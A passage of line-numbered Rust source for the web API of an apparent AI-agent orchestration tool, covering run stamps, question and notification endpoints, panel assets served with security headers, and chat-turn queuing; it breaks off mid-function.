5759 entry.path().join("run.json")
5760 } else {
5761 entry.path()
5762 };
5763 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5764 return None;
5765 }
5766 let metadata = path.metadata().ok()?;
5767 let modified = metadata
5768 .modified()
5769 .ok()?
5770 .duration_since(std::time::UNIX_EPOCH)
5771 .ok()?;
5772 let id = if runs {
5773 entry.file_name().to_string_lossy().into_owned()
5774 } else {
5775 path.file_stem()?.to_string_lossy().into_owned()
5776 };
5777 Some((id, (modified.as_nanos(), metadata.len())))
5778 })
5779 .collect()
5780}
5781
5782#[derive(Debug, Serialize)]
5783struct Delta {
5784 base: u64,
5785 changed: Vec<String>,
5786 removed: Vec<String>,
5787}
5788
5789fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5790 let mut changed: Vec<_> = next
5791 .iter()
5792 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5793 .map(|(id, _)| id.clone())
5794 .collect();
5795 let mut removed: Vec<_> = previous
5796 .keys()
5797 .filter(|id| !next.contains_key(*id))
5798 .cloned()
5799 .collect();
5800 changed.sort_unstable();
5801 removed.sort_unstable();
5802 Delta {
5803 base,
5804 changed,
5805 removed,
5806 }
5807}
5808
5809fn runs_revision(runs: &FsPath) -> u64 {
5816 stamps_revision(&store_stamps(runs, true))
5817}
5818
5819fn stamps_revision(stamps: &Stamps) -> u64 {
5823 use std::hash::{Hash as _, Hasher as _};
5824 if stamps.is_empty() {
5825 return 0;
5826 }
5827 let mut entries: Vec<_> = stamps.iter().collect();
5828 entries.sort_unstable();
5829 let mut hasher = std::hash::DefaultHasher::new();
5830 entries.hash(&mut hasher);
5831 hasher.finish().max(1)
5832}
5833
5834fn run_ids(runs: &FsPath) -> Vec<String> {
5840 let mut ids: Vec<String> = std::fs::read_dir(runs)
5841 .into_iter()
5842 .flatten()
5843 .flatten()
5844 .filter(|e| e.path().join("run.json").is_file())
5845 .map(|e| e.file_name().to_string_lossy().into_owned())
5846 .collect();
5847 ids.sort_unstable_by(|a, b| b.cmp(a));
5849 ids
5850}
5851
5852fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5854 let path = runs.join(id).join("run.json");
5855 let body =
5856 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5857 let state: RunState =
5858 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5859 run::migrate_schema(state)
5864}
5865
5866#[must_use]
5874pub fn runs_unreadable(runs: &FsPath) -> usize {
5875 run_ids(runs)
5876 .into_iter()
5877 .filter(|id| read_run(runs, id).is_err())
5878 .count()
5879}
5880
5881fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5883 if runs.join(id).join("run.json").is_file() {
5884 return Ok(id.to_owned());
5885 }
5886 pick(run_ids(runs), id, "run")
5887}
5888
5889fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5891 if queue.path_of(id).is_file() {
5892 return Ok(id.to_owned());
5893 }
5894 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5895}
5896
5897#[derive(Debug, Serialize)]
5908struct QuestionView {
5909 #[serde(flatten)]
5910 question: Question,
5911 detail_md: Vec<md::Node>,
5912 thread_bodies_md: Vec<Vec<md::Node>>,
5914 thread_notes_md: Vec<Option<Vec<md::Node>>>,
5917 waiting_on_agent: bool,
5927 holder: Option<&'static str>,
5931 deputies_enabled: bool,
5935 run_is_task: bool,
5938 origin_chat: Option<String>,
5943 origin_chat_closed: bool,
5945}
5946
5947impl QuestionView {
5948 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5952 let base = md::ImageBase::QuestionPanel {
5953 id: question.id.clone(),
5954 };
5955 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5956 Self {
5957 detail_md: md::to_nodes(&question.detail, &base),
5958 thread_bodies_md: question
5959 .thread
5960 .iter()
5961 .map(|t| md::to_nodes(&t.body, &base))
5962 .collect(),
5963 thread_notes_md: question
5964 .thread
5965 .iter()
5966 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5967 .collect(),
5968 waiting_on_agent: question.waiting_on_agent(),
5969 holder,
5970 deputies_enabled,
5971 run_is_task: question.run_names_task(),
5972 origin_chat: None,
5973 origin_chat_closed: false,
5974 question,
5975 }
5976 }
5977
5978 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5980 let talk = crate::consult::origin_talk(tasks, talks, &self.question);
5981 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
5982 self.origin_chat = talk.map(|t| t.id);
5983 self
5984 }
5985}
5986
5987fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5991 Config::discover(repo, None).ok().map(|(c, _)| c)
5992}
5993
5994fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5996 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5997}
5998
5999fn question_views(
6002 qs: Vec<Question>,
6003 store: &ask::Questions,
6004 load: impl FnOnce() -> Option<Config>,
6005) -> Vec<QuestionView> {
6006 if qs.is_empty() {
6007 return Vec::new();
6008 }
6009 let cfg = load();
6010 qs.into_iter()
6011 .map(|q| {
6012 let on = deputies_enabled(cfg.as_ref(), &q);
6013 QuestionView::of(q, store, on)
6014 })
6015 .collect()
6016}
6017
6018fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
6028 if !q.status.open() {
6029 return None;
6030 }
6031 if q.cwd.is_none() && q.deputy.is_none() {
6032 return crate::deputy::kind_of(q).map(|_| "nobody");
6033 }
6034 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
6035 Some(_) if q.deputy.is_some() => "deputy",
6036 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
6037 Some(_) => "asker",
6038 None => "nobody",
6039 })
6040}
6041
6042async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
6048 blocking(move || {
6049 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6050 Ok(Json(
6051 question_views(ui.questions.list(), &ui.questions, || {
6052 deputy_config(&ui.repo)
6053 })
6054 .into_iter()
6055 .map(|v| v.with_origin(&tasks, &talks))
6056 .collect(),
6057 ))
6058 })
6059 .await
6060}
6061
6062async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6065 blocking(move || {
6066 let items = ui.notices.list();
6067 let unread = items.iter().filter(|n| n.unread()).count();
6068 Ok(Json(
6069 serde_json::json!({ "unread": unread, "items": items }),
6070 ))
6071 })
6072 .await
6073}
6074
6075fn notice_error(e: anyhow::Error) -> ApiError {
6076 ApiError::not_found(format!("{e:#}"))
6079}
6080
6081async fn notification_read(
6083 State(ui): State<Arc<Ui>>,
6084 Path(id): Path<String>,
6085) -> ApiResult<Json<Notice>> {
6086 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
6087}
6088
6089async fn notification_dismiss(
6091 State(ui): State<Arc<Ui>>,
6092 Path(id): Path<String>,
6093) -> ApiResult<Json<Notice>> {
6094 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
6095}
6096
6097async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6099 blocking(move || {
6100 let changed = ui.notices.mark_all_read()?;
6101 Ok(Json(serde_json::json!({ "marked": changed })))
6102 })
6103 .await
6104}
6105
6106#[derive(Debug, Default, Deserialize)]
6112#[serde(default, deny_unknown_fields)]
6113struct NewAnswer {
6114 choice: Option<String>,
6115 text: Option<String>,
6116}
6117
6118async fn question_answer(
6119 State(ui): State<Arc<Ui>>,
6120 Path(id): Path<String>,
6121 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
6122) -> ApiResult<Json<QuestionView>> {
6123 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6124 let answer = match (body.choice, body.text) {
6125 (Some(c), None) => Answer::Choice(c),
6126 (None, Some(t)) => Answer::Text(t),
6127 (Some(_), Some(_)) => {
6128 return Err(ApiError::bad_request(
6129 "send either `choice` or `text`, not both",
6130 ));
6131 }
6132 (None, None) => {
6133 return Err(ApiError::bad_request("send a `choice` or a `text`"));
6134 }
6135 };
6136
6137 blocking(move || {
6138 let id = resolve_question(&ui.questions, &id)?;
6139 let q = ui
6140 .questions
6141 .get(&id)
6142 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6143 if !q.status.open() {
6144 return Err(ApiError::conflict(format!(
6148 "question {} is already {}",
6149 q.short(),
6150 q.status.as_str()
6151 )));
6152 }
6153 let (q, ()) = ui
6157 .questions
6158 .update(&q.id, |r| r.answer(answer))
6159 .map_err(ApiError::bad_request_from)?;
6160 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6161 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6162 Ok(Json(
6163 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6164 ))
6165 })
6166 .await
6167}
6168
6169#[derive(Debug, Deserialize)]
6171#[serde(deny_unknown_fields)]
6172struct NewSay {
6173 body: String,
6174}
6175
6176async fn question_say(
6186 State(ui): State<Arc<Ui>>,
6187 Path(id): Path<String>,
6188 body: std::result::Result<Json<NewSay>, JsonRejection>,
6189) -> ApiResult<Json<QuestionView>> {
6190 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6191 blocking(move || {
6192 let id = resolve_question(&ui.questions, &id)?;
6193 let q = ui
6194 .questions
6195 .get(&id)
6196 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6197 if !q.status.open() {
6198 return Err(ApiError::conflict(format!(
6202 "question {} is already {}",
6203 q.short(),
6204 q.status.as_str()
6205 )));
6206 }
6207 let (q, ()) = ui
6210 .questions
6211 .update(&q.id, |r| r.say(body.body))
6212 .map_err(ApiError::bad_request_from)?;
6213 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6214 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6215 Ok(Json(
6216 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6217 ))
6218 })
6219 .await
6220}
6221
6222async fn question_consult(
6231 State(ui): State<Arc<Ui>>,
6232 Path(id): Path<String>,
6233) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6234 let (view, reclaimed) = blocking({
6235 let ui = Arc::clone(&ui);
6236 move || {
6237 let id = resolve_question(&ui.questions, &id)?;
6238 let q = ui
6239 .questions
6240 .get(&id)
6241 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6242 if !q.status.open() {
6243 return Err(ApiError::conflict(format!(
6244 "question {} is already {}",
6245 q.short(),
6246 q.status.as_str()
6247 )));
6248 }
6249 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6250 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6251 return Err(ApiError::conflict(format!(
6252 "question {} has no chat to ask",
6253 q.short()
6254 )));
6255 };
6256 let cfg = if q.consult.is_none() {
6260 Some(Config::discover(&talk.repo, None)?.0)
6261 } else {
6262 None
6263 };
6264 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6265 let claim = if fresh {
6266 match ui.begin_queued_talk_turn(&talk.id)? {
6267 Some(turn_guard) => {
6268 let talk = ui.talks.get(&talk.id)?;
6269 let cfg = match cfg {
6270 Some(cfg) => cfg,
6271 None => Config::discover(&talk.repo, None)?.0,
6272 };
6273 Some((talk, cfg, turn_guard))
6274 }
6275 None => None,
6276 }
6277 } else {
6278 None
6279 };
6280 let q = ui.questions.get(&q.id)?;
6281 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6282 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
6283 Ok((view, claim))
6284 }
6285 })
6286 .await?;
6287 if let Some((talk, cfg, turn_guard)) = reclaimed {
6288 let talks = ui.talks.clone();
6289 let id = talk.id.clone();
6290 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6291 }
6292 Ok((StatusCode::ACCEPTED, Json(view)))
6293}
6294
6295fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6297 if store.path_of(id).is_file() {
6298 return Ok(id.to_owned());
6299 }
6300 pick(
6301 store.list().into_iter().map(|q| q.id).collect(),
6302 id,
6303 "question",
6304 )
6305}
6306
6307async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6322 blocking(move || {
6323 let id = resolve_question(&ui.questions, &id)?;
6324 let Some(html) = ui.questions.panel_html(&id) else {
6325 return Err(ApiError::not_found(format!("question {id} has no panel")));
6326 };
6327 Ok(panel_response(
6328 "text/html; charset=utf-8",
6329 false,
6330 html.into_bytes(),
6331 ))
6332 })
6333 .await
6334}
6335
6336async fn question_asset(
6364 State(ui): State<Arc<Ui>>,
6365 Path((id, name)): Path<(String, String)>,
6366) -> ApiResult<Response> {
6367 if !crate::ask::valid_asset_name(&name) {
6370 return Err(ApiError::bad_request(format!(
6371 "`{name}` is not a usable asset name"
6372 )));
6373 }
6374 blocking(move || {
6375 let id = resolve_question(&ui.questions, &id)?;
6376 let asset = ui
6377 .questions
6378 .panel_asset(&id, &name)
6379 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6380 let Some(bytes) = asset else {
6381 return Err(ApiError::not_found(format!(
6382 "question {id} has no asset `{name}`"
6383 )));
6384 };
6385 Ok(panel_response(
6386 asset_content_type(&name),
6387 is_svg(&name),
6388 bytes,
6389 ))
6390 })
6391 .await
6392}
6393
6394fn asset_content_type(name: &str) -> &'static str {
6407 match extension(name).as_deref() {
6408 Some("png") => "image/png",
6409 Some("jpg" | "jpeg") => "image/jpeg",
6410 Some("gif") => "image/gif",
6411 Some("webp") => "image/webp",
6412 Some("svg") => "image/svg+xml",
6413 Some("css") => "text/css; charset=utf-8",
6414 Some("txt") => "text/plain; charset=utf-8",
6415 _ => "application/octet-stream",
6416 }
6417}
6418
6419fn is_svg(name: &str) -> bool {
6422 extension(name).as_deref() == Some("svg")
6423}
6424
6425fn extension(name: &str) -> Option<String> {
6427 name.rsplit_once('.')
6428 .map(|(_, ext)| ext.to_ascii_lowercase())
6429}
6430
6431fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6448 let mut res = (
6449 [
6450 (header::CONTENT_TYPE, content_type),
6451 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6452 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6453 (header::REFERRER_POLICY, "no-referrer"),
6454 ],
6455 body,
6456 )
6457 .into_response();
6458 if download {
6459 res.headers_mut().insert(
6460 header::CONTENT_DISPOSITION,
6461 HeaderValue::from_static("attachment"),
6462 );
6463 }
6464 res
6465}
6466
6467#[derive(Debug, Serialize)]
6473struct TalkView {
6474 #[serde(flatten)]
6475 talk: Talk,
6476 turn_bodies_md: Vec<Vec<md::Node>>,
6477 thinking: bool,
6485 context: talk::ContextUsage,
6489 operator_name: Option<String>,
6492 persona_name: Option<String>,
6494 persona_avatar: String,
6497}
6498
6499impl TalkView {
6500 fn new(talk: Talk, thinking: bool) -> Self {
6503 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6504 Self::with_config(talk, thinking, cfg.as_ref())
6505 }
6506
6507 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6510 let context = talk::context_usage(&talk, cfg);
6511 let turn_bodies_md = talk
6512 .turns
6513 .iter()
6514 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6515 .collect();
6516 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6517 let persona_name = persona::find(specs, &talk.persona)
6518 .filter(|p| !p.is_default())
6519 .map(|p| p.name);
6520 let persona_avatar = avatar_url(
6521 &talk.id,
6522 &persona::find(specs, &talk.persona)
6523 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
6524 );
6525 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6526 Self {
6527 turn_bodies_md,
6528 thinking,
6529 context,
6530 operator_name,
6531 persona_name,
6532 persona_avatar,
6533 talk,
6534 }
6535 }
6536}
6537
6538#[derive(Debug, Serialize)]
6543struct TalkDetailView {
6544 #[serde(flatten)]
6545 view: TalkView,
6546 tasks: Vec<TaskView>,
6547 roster: Vec<RosterEntry>,
6550 personas: Vec<PersonaEntry>,
6553}
6554
6555#[derive(Debug, Serialize)]
6557struct PersonaEntry {
6558 id: String,
6559 name: String,
6560 avatar: String,
6562}
6563
6564#[derive(Debug, Serialize)]
6566struct RosterEntry {
6567 id: String,
6568 kind: AgentKind,
6569 runnable: bool,
6571}
6572
6573async fn talks_list(
6578 State(ui): State<Arc<Ui>>,
6579 Query(q): Query<ListQuery>,
6580) -> ApiResult<Json<Vec<TalkView>>> {
6581 blocking(move || {
6582 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6583 Ok(Json(
6584 ui.talks
6585 .list()
6586 .into_iter()
6587 .filter(|talk| q.contains(&talk.id))
6588 .map(|talk| {
6589 let thinking = ui.is_thinking(&talk.id);
6590 let cfg = configs
6591 .entry(talk.repo.clone())
6592 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6593 TalkView::with_config(talk, thinking, cfg.as_ref())
6594 })
6595 .collect(),
6596 ))
6597 })
6598 .await
6599}
6600
6601#[derive(Debug, Default, Deserialize)]
6606#[serde(default)]
6607struct NewTalk {
6608 agent: Option<String>,
6609 repo: Option<PathBuf>,
6610 preferred_agent: Option<serde_json::Value>,
6614 persona: Option<serde_json::Value>,
6615 implementers: Option<serde_json::Value>,
6616}
6617
6618async fn talk_post(
6621 State(ui): State<Arc<Ui>>,
6622 body: std::result::Result<Json<NewTalk>, JsonRejection>,
6623) -> ApiResult<impl IntoResponse> {
6624 let body = match body {
6628 Ok(Json(body)) => body,
6629 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6630 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6631 };
6632 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6633 let cfg = config_for(&repo).await?;
6634 let view = blocking(move || {
6635 let preferred = talk::Preferred {
6636 agent: body
6637 .preferred_agent
6638 .as_ref()
6639 .and_then(|v| v.as_str())
6640 .map(str::to_owned),
6641 persona: body
6642 .persona
6643 .as_ref()
6644 .and_then(|v| v.as_str())
6645 .map(str::to_owned),
6646 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
6647 };
6648 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
6649 let thinking = ui.is_thinking(&talk.id);
6650 Ok(TalkView::new(talk, thinking))
6651 })
6652 .await?;
6653 Ok((StatusCode::CREATED, Json(view)))
6654}
6655
6656async fn talk_detail(
6658 State(ui): State<Arc<Ui>>,
6659 Path(id): Path<String>,
6660) -> ApiResult<Json<TalkDetailView>> {
6661 blocking(move || {
6662 let id = resolve_talk(&ui.talks, &id)?;
6663 let talk = ui.talks.get(&id)?;
6664 let thinking = ui.is_thinking(&talk.id);
6665 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6666 .into_iter()
6667 .map(TaskView::from)
6668 .collect();
6669 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6670 let roster = cfg
6671 .as_ref()
6672 .map(|cfg| {
6673 cfg.agents
6674 .iter()
6675 .map(|a| RosterEntry {
6676 id: a.id.clone(),
6677 kind: a.kind,
6678 runnable: agent::installed(a),
6679 })
6680 .collect()
6681 })
6682 .unwrap_or_default();
6683 let specs = cfg
6684 .as_ref()
6685 .map(|cfg| cfg.talk.personas.clone())
6686 .unwrap_or_default();
6687 let personas = persona::catalog(&specs)
6688 .into_iter()
6689 .map(|p| PersonaEntry {
6690 avatar: avatar_url(&talk.id, &p),
6691 id: p.id,
6692 name: p.name,
6693 })
6694 .collect();
6695 Ok(Json(TalkDetailView {
6696 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6697 tasks,
6698 roster,
6699 personas,
6700 }))
6701 })
6702 .await
6703}
6704
6705#[derive(Debug, Default, Deserialize)]
6711#[serde(default, deny_unknown_fields)]
6712struct NewTalkTurn {
6713 reply_to: Option<talk::ReplyTarget>,
6714 text: String,
6715 attachments: Vec<String>,
6716}
6717
6718#[derive(Debug, Deserialize)]
6719#[serde(deny_unknown_fields)]
6720struct EditTalkPending {
6721 #[serde(default)]
6722 message: Option<usize>,
6723 text: String,
6724 expected_text: String,
6725 expected_attachments: Vec<String>,
6726}
6727
6728#[derive(Debug, Deserialize)]
6729#[serde(deny_unknown_fields)]
6730struct ClearTalkPending {
6731 expected_text: String,
6732 expected_attachments: Vec<String>,
6733}
6734
6735async fn talk_say(
6747 State(ui): State<Arc<Ui>>,
6748 Path(id): Path<String>,
6749 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6750) -> ApiResult<(StatusCode, Json<TalkView>)> {
6751 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6752 if body.text.trim().is_empty() && body.attachments.is_empty() {
6753 return Err(ApiError::bad_request("say something"));
6754 }
6755
6756 let id = {
6757 let ui = Arc::clone(&ui);
6758 let asked = id.clone();
6759 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6760 };
6761 {
6765 let ui = Arc::clone(&ui);
6766 let id = id.clone();
6767 blocking(move || {
6768 let talk = ui.talks.get(&id)?;
6769 if !talk.status.open() {
6770 return Err(ApiError::conflict(format!(
6771 "talk {} is {} and takes no more turns",
6772 talk.short(),
6773 talk.status.as_str()
6774 )));
6775 }
6776 Ok(())
6777 })
6778 .await?;
6779 }
6780
6781 let attachments = {
6786 let ui = Arc::clone(&ui);
6787 let id = id.clone();
6788 let ids = body.attachments.clone();
6789 blocking(move || {
6790 ids.into_iter()
6791 .map(|att_id| {
6792 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6793 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6794 })
6795 })
6796 .collect::<ApiResult<Vec<talk::Attachment>>>()
6797 })
6798 .await?
6799 };
6800
6801 let start = {
6806 let ui = Arc::clone(&ui);
6807 let id = id.clone();
6808 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6809 };
6810 let turn_guard = match start {
6811 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6812 TalkTurnStart::Pending => {
6813 return Err(ApiError::conflict(
6814 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6815 ));
6816 }
6817 TalkTurnStart::Foreign => {
6818 return Err(ApiError::conflict(
6819 "a turn is already running in another process; try again when it has finished",
6820 ));
6821 }
6822 TalkTurnStart::Busy => {
6823 let (tx, rx) = tokio::sync::oneshot::channel();
6839 tokio::spawn({
6840 let ui = Arc::clone(&ui);
6841 let id = id.clone();
6842 let said = body.text.clone();
6843 let reply_to = body.reply_to.clone();
6844 async move {
6845 let written = blocking({
6846 let ui = Arc::clone(&ui);
6847 let id = id.clone();
6848 move || {
6849 let mut talk = ui.talks.get(&id)?;
6850 #[cfg(test)]
6855 if let Some(gate) = ui
6856 .busy_queue_gate
6857 .lock()
6858 .unwrap_or_else(PoisonError::into_inner)
6859 .take()
6860 {
6861 let _ = gate.reached.send(());
6862 let _ = gate.release.recv();
6863 }
6864 if let Err(error) = talk::queue_reply(
6865 &mut talk,
6866 &ui.talks,
6867 &said,
6868 attachments,
6869 reply_to,
6870 ) {
6871 if let Ok(fresh) = ui.talks.get(&id) {
6872 if !fresh.status.open() {
6873 return Err(ApiError::conflict(format!(
6874 "talk {} is {} and takes no more turns",
6875 fresh.short(),
6876 fresh.status.as_str()
6877 )));
6878 }
6879 }
6880 return Err(
6881 if error.to_string().contains("invalid reply target") {
6882 ApiError::bad_request("invalid reply target")
6883 } else {
6884 ApiError::from(error)
6885 },
6886 );
6887 }
6888 let claim = match ui.begin_queued_talk_turn(&id)? {
6899 Some(turn_guard) => {
6900 let (cfg, _) = Config::discover(&talk.repo, None)?;
6901 Some((talk.clone(), cfg, turn_guard))
6902 }
6903 None => None,
6904 };
6905 let thinking = ui.is_thinking(&id);
6906 Ok((TalkView::new(talk, thinking), claim))
6907 }
6908 })
6909 .await;
6910 let (view, reclaimed) = match written {
6911 Ok(pair) => pair,
6912 Err(e) => {
6913 let _ = tx.send(Err(e));
6918 return;
6919 }
6920 };
6921 let _ = tx.send(Ok(view));
6924 if let Some((talk, cfg, turn_guard)) = reclaimed {
6925 let talks = ui.talks.clone();
6926 drain_loop(talk, talks, cfg, id, turn_guard).await;
6927 }
6928 }
6929 });
6930 let view = rx
6931 .await
6932 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6933 return Ok((StatusCode::ACCEPTED, Json(view)));
6934 }
6935 };
6936
6937 let (talk, cfg) = {
6938 let ui = Arc::clone(&ui);
6939 let id = id.clone();
6940 blocking(move || {
6941 let talk = ui.talks.get(&id)?;
6942 let (cfg, _) = Config::discover(&talk.repo, None)?;
6943 Ok((talk, cfg))
6944 })
6945 .await?
6946 };
6947
6948 let talks = ui.talks.clone();
6949 let (tx, rx) = tokio::sync::oneshot::channel();
6964 tokio::spawn({
6965 let ui = Arc::clone(&ui);
6966 let talks = talks.clone();
6967 let id = id.clone();
6968 let said = body.text.clone();
6969 let reply_to = body.reply_to.clone();
6970 let mut talk = talk.clone();
6971 async move {
6972 let recorded = blocking({
6973 let talks = talks.clone();
6974 move || {
6975 if let Err(error) =
6976 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
6977 {
6978 if let Ok(fresh) = talks.get(&talk.id) {
6979 if !fresh.status.open() {
6980 return Err(ApiError::conflict(format!(
6981 "talk {} is {} and takes no more turns",
6982 fresh.short(),
6983 fresh.status.as_str()
6984 )));
6985 }
6986 }
6987 return Err(if error.to_string().contains("invalid reply target") {
6988 ApiError::bad_request("invalid reply target")
6989 } else {
6990 ApiError::from(error)
6991 });
6992 }
6993 Ok((said.trim().to_owned(), talk))
6999 }
7000 })
7001 .await;
7002 let (text, mut talk) = match recorded {
7003 Ok(pair) => pair,
7004 Err(e) => {
7005 let _ = tx.send(Err(e));
7009 return;
7010 }
7011 };
7012 let queued = talk.clone();
7013 let thinking = ui.is_thinking(&id);
7014 let _ = tx.send(Ok((queued, thinking)));
7017
7018 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
7019 tracing::warn!("talk {id} turn failed: {e:#}");
7023 }
7024 drain_loop(talk, talks, cfg, id, turn_guard).await;
7027 }
7028 });
7029
7030 let (queued, thinking) = rx
7031 .await
7032 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7033
7034 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
7036}
7037
7038async fn talk_pending_resume(
7042 State(ui): State<Arc<Ui>>,
7043 Path(id): Path<String>,
7044) -> ApiResult<(StatusCode, Json<TalkView>)> {
7045 let id = {
7046 let ui = Arc::clone(&ui);
7047 let asked = id.clone();
7048 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7049 };
7050 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7051 return Err(ApiError::conflict(
7052 "a talk turn is already running; the queued draft will be handled by it",
7053 ));
7054 };
7055 let (talk, cfg) = {
7056 let ui = Arc::clone(&ui);
7057 let id = id.clone();
7058 blocking(move || {
7059 let talk = ui.talks.get(&id)?;
7060 if !talk.status.open() {
7061 return Err(ApiError::conflict(format!(
7062 "talk {} is {} and takes no more turns",
7063 talk.short(),
7064 talk.status.as_str()
7065 )));
7066 }
7067 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7068 return Err(ApiError::conflict("there is no queued draft to resume"));
7069 }
7070 let (cfg, _) = Config::discover(&talk.repo, None)?;
7071 Ok((talk, cfg))
7072 })
7073 .await?
7074 };
7075 let view = TalkView::new(talk.clone(), true);
7076 let talks = ui.talks.clone();
7077 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7078 Ok((StatusCode::ACCEPTED, Json(view)))
7079}
7080
7081async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
7097 drain_loop_started(talk, talks, cfg, id, turn, None).await;
7098}
7099
7100async fn settle_settings_turn(
7104 talk: Talk,
7105 talks: Talks,
7106 cfg: Config,
7107 id: String,
7108 turn: TalkTurnGuard,
7109 observed: u64,
7110) -> bool {
7111 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7112 let turns = Arc::clone(&turn.turns);
7113 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
7114 if live.queued.get(&id).copied().unwrap_or(0) == observed {
7115 turn.release(&mut live);
7117 return false;
7118 }
7119 }
7120 let (started, settled) = tokio::sync::oneshot::channel();
7121 tokio::spawn(drain_loop_started(
7122 talk,
7123 talks,
7124 cfg,
7125 id,
7126 turn,
7127 Some(started),
7128 ));
7129 settled.await.unwrap_or(false)
7130}
7131
7132async fn drain_loop_started(
7133 mut talk: Talk,
7134 talks: Talks,
7135 cfg: Config,
7136 id: String,
7137 turn: TalkTurnGuard,
7138 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
7139) {
7140 let live_set = Arc::clone(&turn.turns);
7141 let mut turn = Some(turn);
7149 loop {
7150 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
7151 tracing::warn!("talk {id} lost its turn lease; not draining further");
7154 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7155 if let Some(turn) = turn.take() {
7156 turn.release(&mut live);
7157 }
7158 break;
7159 }
7160 {
